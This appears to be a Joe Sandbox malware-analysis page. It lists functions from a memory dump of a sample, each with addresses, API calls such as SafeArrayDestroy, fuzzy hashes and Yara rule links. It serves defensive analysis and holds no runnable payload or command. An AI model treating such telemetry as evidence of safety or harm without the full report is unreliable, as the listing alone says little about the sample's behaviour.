Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: ArrayDestroySafe
String ID:
API String ID: 4225690600-0
Opcode ID: e008c0142c0749583fcda3152edbf45bbfa93f44252878fbdecb638b8494725d
Instruction ID: b793d4d8616da72c19f9feee69b2ee5cbcdb6620bc4276c8d8bd51057014ddde
Opcode Fuzzy Hash: e008c0142c0749583fcda3152edbf45bbfa93f44252878fbdecb638b8494725d
Instruction Fuzzy Hash: 76312B70E016189FDB10CB68CC80FAEB7F9AF89210F60868AE519E7255DB75E9418F50

Function 6D028C6E Relevance: 9.1, APIs: 6, Instructions: 94COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6D02AE63
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AE73
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AE86
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AE99
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AEAC
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AEBF

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: ArrayDestroySafe
String ID:
API String ID: 4225690600-0
Opcode ID: bfb2e4d0ef1a20a5cb77fde5e692ffefe4f074a44e651d4a3ec70972d1123772
Instruction ID: 6c3f13ae552290e03c75501d500b1a0485c16d8a630b6eda17b333628f1e6ef2
Opcode Fuzzy Hash: bfb2e4d0ef1a20a5cb77fde5e692ffefe4f074a44e651d4a3ec70972d1123772
Instruction Fuzzy Hash: 41314970E016189FEB10DB68CC80F6EB7FAAF89210F24859AE419E7241CB71E9418F50

Function 6D028F07 Relevance: 9.1, APIs: 6, Instructions: 94COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6D02AE63
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AE73
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AE86
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AE99
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AEAC
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AEBF

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: ArrayDestroySafe
String ID:
API String ID: 4225690600-0
Opcode ID: 734beccb21f6766787dc7cae065449a62f4d4faac041286b03942d688f7b655a
Instruction ID: 2fde36ab5ab06b65cbe2aa238e9e261c250ea5d949ed267dfe14e1451a7dcbc6
Opcode Fuzzy Hash: 734beccb21f6766787dc7cae065449a62f4d4faac041286b03942d688f7b655a
Instruction Fuzzy Hash: 1E313870E016189FEB10CBA8CC80FAEB7FAAF89210F20858AE519E7241CB71DD418F50

Function 6D028E8E Relevance: 9.1, APIs: 6, Instructions: 94COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6D02AE63
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AE73
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AE86
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AE99
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AEAC
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AEBF

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: ArrayDestroySafe
String ID:
API String ID: 4225690600-0
Opcode ID: f40f4406ed0ed4d5cce1a18cd63a963c216b881fcc09837aae5c228ed9300d86
Instruction ID: 0715d32d4c3751cd5b48b17a79a07be22c31565fc64313bdf125f13a01e74ade
Opcode Fuzzy Hash: f40f4406ed0ed4d5cce1a18cd63a963c216b881fcc09837aae5c228ed9300d86
Instruction Fuzzy Hash: 42312B70E016199FEF10DFA8CC80F6EB7F9AF89210F60868AE519E7255CB71E9418F50

Function 6D02884F Relevance: 9.1, APIs: 6, Instructions: 94COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6D02AE63
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AE73
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AE86
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AE99
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AEAC
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AEBF

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: ArrayDestroySafe
String ID:
API String ID: 4225690600-0
Opcode ID: c434d91f3d4e7840c933eb38969606d7cc0d3969ffc3930d269bd607cd8a6c6c
Instruction ID: 03990291120511dc0cf311122c1bc8d026c69661301cbdec61a933724f1d750a
Opcode Fuzzy Hash: c434d91f3d4e7840c933eb38969606d7cc0d3969ffc3930d269bd607cd8a6c6c
Instruction Fuzzy Hash: FE313A70E016189FEF10CBA8CC80F6EB7FAAF89210F60858AE519E7241CB75E941CF50

Function 6D028B64 Relevance: 9.1, APIs: 6, Instructions: 94COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6D02AE63
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AE73
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AE86
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AE99
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AEAC
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AEBF

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: ArrayDestroySafe
String ID:
API String ID: 4225690600-0
Opcode ID: 1cb1f102f48220a16bdc6edbb77d068e653ccfb27e49781370ecee96d535e82f
Instruction ID: cec7c4bbfcfaf2111044b400fc45fa9f19741e77adf0dbbe2749d9f3b39b9e48
Opcode Fuzzy Hash: 1cb1f102f48220a16bdc6edbb77d068e653ccfb27e49781370ecee96d535e82f
Instruction Fuzzy Hash: 0E311870E016189FEF10DBA8CC80F6EB7FAAF99210F64858AE519E7251CB75E941CF50

Function 6D020561 Relevance: 9.1, APIs: 6, Instructions: 94COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6D0223B3
SafeArrayDestroy.OLEAUT32(?), ref: 6D0223C3
SafeArrayDestroy.OLEAUT32(?), ref: 6D0223D6
SafeArrayDestroy.OLEAUT32(?), ref: 6D0223E9
SafeArrayDestroy.OLEAUT32(?), ref: 6D0223FC
SafeArrayDestroy.OLEAUT32(?), ref: 6D02240F

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: ArrayDestroySafe
String ID:
API String ID: 4225690600-0
Opcode ID: c872b739c7545842e3ba02720de5cc711a6f4034af29720dbd2e0d314ec4bd8c
Instruction ID: 0eddcd50539b92e075717a557ca175425ae58589336228ab802df62047aeb616
Opcode Fuzzy Hash: c872b739c7545842e3ba02720de5cc711a6f4034af29720dbd2e0d314ec4bd8c
Instruction Fuzzy Hash: D4314E70E116189FEB10DFA9CD80BADB7F9AF89300F60858AE559EB251C771DE818F50

Function 6D0201BE Relevance: 9.1, APIs: 6, Instructions: 94COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6D0223B3
SafeArrayDestroy.OLEAUT32(?), ref: 6D0223C3
SafeArrayDestroy.OLEAUT32(?), ref: 6D0223D6
SafeArrayDestroy.OLEAUT32(?), ref: 6D0223E9
SafeArrayDestroy.OLEAUT32(?), ref: 6D0223FC
SafeArrayDestroy.OLEAUT32(?), ref: 6D02240F

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: ArrayDestroySafe
String ID:
API String ID: 4225690600-0
Opcode ID: bfb2e4d0ef1a20a5cb77fde5e692ffefe4f074a44e651d4a3ec70972d1123772
Instruction ID: e14b80b37b6c38f48be90f07199863506dd1c9fa63dd0073bd6f540826b3ca40
Opcode Fuzzy Hash: bfb2e4d0ef1a20a5cb77fde5e692ffefe4f074a44e651d4a3ec70972d1123772
Instruction Fuzzy Hash: E7315C70E116189FEB10DFA9CC80BADB7FAAF89200F60859AE558EB241C771DD818F50

Function 6D0200B4 Relevance: 9.1, APIs: 6, Instructions: 94COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6D0223B3
SafeArrayDestroy.OLEAUT32(?), ref: 6D0223C3
SafeArrayDestroy.OLEAUT32(?), ref: 6D0223D6
SafeArrayDestroy.OLEAUT32(?), ref: 6D0223E9
SafeArrayDestroy.OLEAUT32(?), ref: 6D0223FC
SafeArrayDestroy.OLEAUT32(?), ref: 6D02240F

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: ArrayDestroySafe
String ID:
API String ID: 4225690600-0
Opcode ID: 1cb1f102f48220a16bdc6edbb77d068e653ccfb27e49781370ecee96d535e82f
Instruction ID: ecccb150747c20527476bed96d0f3d60a7616f66523424e36f402bf12883116c
Opcode Fuzzy Hash: 1cb1f102f48220a16bdc6edbb77d068e653ccfb27e49781370ecee96d535e82f
Instruction Fuzzy Hash: 11313C70E116189FEB10DFA9CC80BADB7F9AF89300F60858AE558EB251CB71DD818F50

Function 6D0203DE Relevance: 9.1, APIs: 6, Instructions: 94COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6D0223B3
SafeArrayDestroy.OLEAUT32(?), ref: 6D0223C3
SafeArrayDestroy.OLEAUT32(?), ref: 6D0223D6
SafeArrayDestroy.OLEAUT32(?), ref: 6D0223E9
SafeArrayDestroy.OLEAUT32(?), ref: 6D0223FC
SafeArrayDestroy.OLEAUT32(?), ref: 6D02240F

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: ArrayDestroySafe
String ID:
API String ID: 4225690600-0
Opcode ID: f40f4406ed0ed4d5cce1a18cd63a963c216b881fcc09837aae5c228ed9300d86
Instruction ID: ee85131b01ab45143f5fa5f12eb4cfa1a10cebda9b6e9d513662dfe465084440
Opcode Fuzzy Hash: f40f4406ed0ed4d5cce1a18cd63a963c216b881fcc09837aae5c228ed9300d86
Instruction Fuzzy Hash: 55315E70E156189FDB10CFA9CC80BADB7F9AF89200F60868AE558EB251C771DA80CF50

Function 6D0202C2 Relevance: 9.1, APIs: 6, Instructions: 94COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6D0223B3
SafeArrayDestroy.OLEAUT32(?), ref: 6D0223C3
SafeArrayDestroy.OLEAUT32(?), ref: 6D0223D6
SafeArrayDestroy.OLEAUT32(?), ref: 6D0223E9
SafeArrayDestroy.OLEAUT32(?), ref: 6D0223FC
SafeArrayDestroy.OLEAUT32(?), ref: 6D02240F

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: ArrayDestroySafe
String ID:
API String ID: 4225690600-0
Opcode ID: e008c0142c0749583fcda3152edbf45bbfa93f44252878fbdecb638b8494725d
Instruction ID: c7bbc1487c6f4c04e48125abec48f9acb959925614e23a9c008d77031a92c306
Opcode Fuzzy Hash: e008c0142c0749583fcda3152edbf45bbfa93f44252878fbdecb638b8494725d
Instruction Fuzzy Hash: 5B314B70E116189FDB10CFA9CC80BADB7F9AF89200F60868AE559EB241C771DA818F50

Function 6D01FD9F Relevance: 9.1, APIs: 6, Instructions: 94COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6D0223B3
SafeArrayDestroy.OLEAUT32(?), ref: 6D0223C3
SafeArrayDestroy.OLEAUT32(?), ref: 6D0223D6
SafeArrayDestroy.OLEAUT32(?), ref: 6D0223E9
SafeArrayDestroy.OLEAUT32(?), ref: 6D0223FC
SafeArrayDestroy.OLEAUT32(?), ref: 6D02240F

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: ArrayDestroySafe
String ID:
API String ID: 4225690600-0
Opcode ID: c434d91f3d4e7840c933eb38969606d7cc0d3969ffc3930d269bd607cd8a6c6c
Instruction ID: b16de8c5dc53415030016efd100fbb2749cdd5ea94c7d32f886242fae23b5c49
Opcode Fuzzy Hash: c434d91f3d4e7840c933eb38969606d7cc0d3969ffc3930d269bd607cd8a6c6c
Instruction Fuzzy Hash: 47313E70E156189FDB10CFA9CD80BADB7FAAF89200F60858AE559EB241C771E9418F50

Function 6D029011 Relevance: 9.1, APIs: 6, Instructions: 94COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6D02AE63
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AE73
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AE86
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AE99
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AEAC
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AEBF

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: ArrayDestroySafe
String ID:
API String ID: 4225690600-0
Opcode ID: c872b739c7545842e3ba02720de5cc711a6f4034af29720dbd2e0d314ec4bd8c
Instruction ID: 676e3fd40f709e5a227d2aebe6314c64389783aa7ab504f196f033fe6c91c7de
Opcode Fuzzy Hash: c872b739c7545842e3ba02720de5cc711a6f4034af29720dbd2e0d314ec4bd8c
Instruction Fuzzy Hash: FA312B70E016189FDB10DBA8CC80F6EB7F9AF89210F60858AE519E7245CB75D941CF50

Function 6D07249C Relevance: 9.1, APIs: 6, Instructions: 92COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000100,?,?,?,?,?,6D0725B1,?,00000000,?), ref: 6D0724E6
_malloc.LIBCMT ref: 6D07251B
_memset.LIBCMT ref: 6D07253B
MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,00000000,00000000,?,?,00000001,?,00000000,00000001,00000000), ref: 6D072550
GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 6D07255E
__freea.LIBCMT ref: 6D072568

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: ByteCharMultiWide$StringType__freea_malloc_memset
String ID:
API String ID: 525495869-0
Opcode ID: b1390a93754809e1f4f5f20129681e67ceeb9eee405742692837bca1676282d8
Instruction ID: f1c9e9fdd114b2b72a0f6113c51155ddaa7c2edfe0b7ac2ee486b955a57421c3
Opcode Fuzzy Hash: b1390a93754809e1f4f5f20129681e67ceeb9eee405742692837bca1676282d8
Instruction Fuzzy Hash: 3A3159B160024AAFFF21DF68DC90EAF7BE9EB09358F114425FA159B250E730D9608B64

Function 6D028A39 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

Part of subcall function 6D0269C0: SafeArrayGetLBound.OLEAUT32(?,00000001,00000000), ref: 6D026A08
Part of subcall function 6D0269C0: SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 6D026A15
Part of subcall function 6D0269C0: SafeArrayGetElement.OLEAUT32(?,?,?), ref: 6D026A41

SafeArrayDestroy.OLEAUT32(?), ref: 6D02AE63
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AE73
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AE86
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AE99
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AEAC
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AEBF

Memory Dump Source

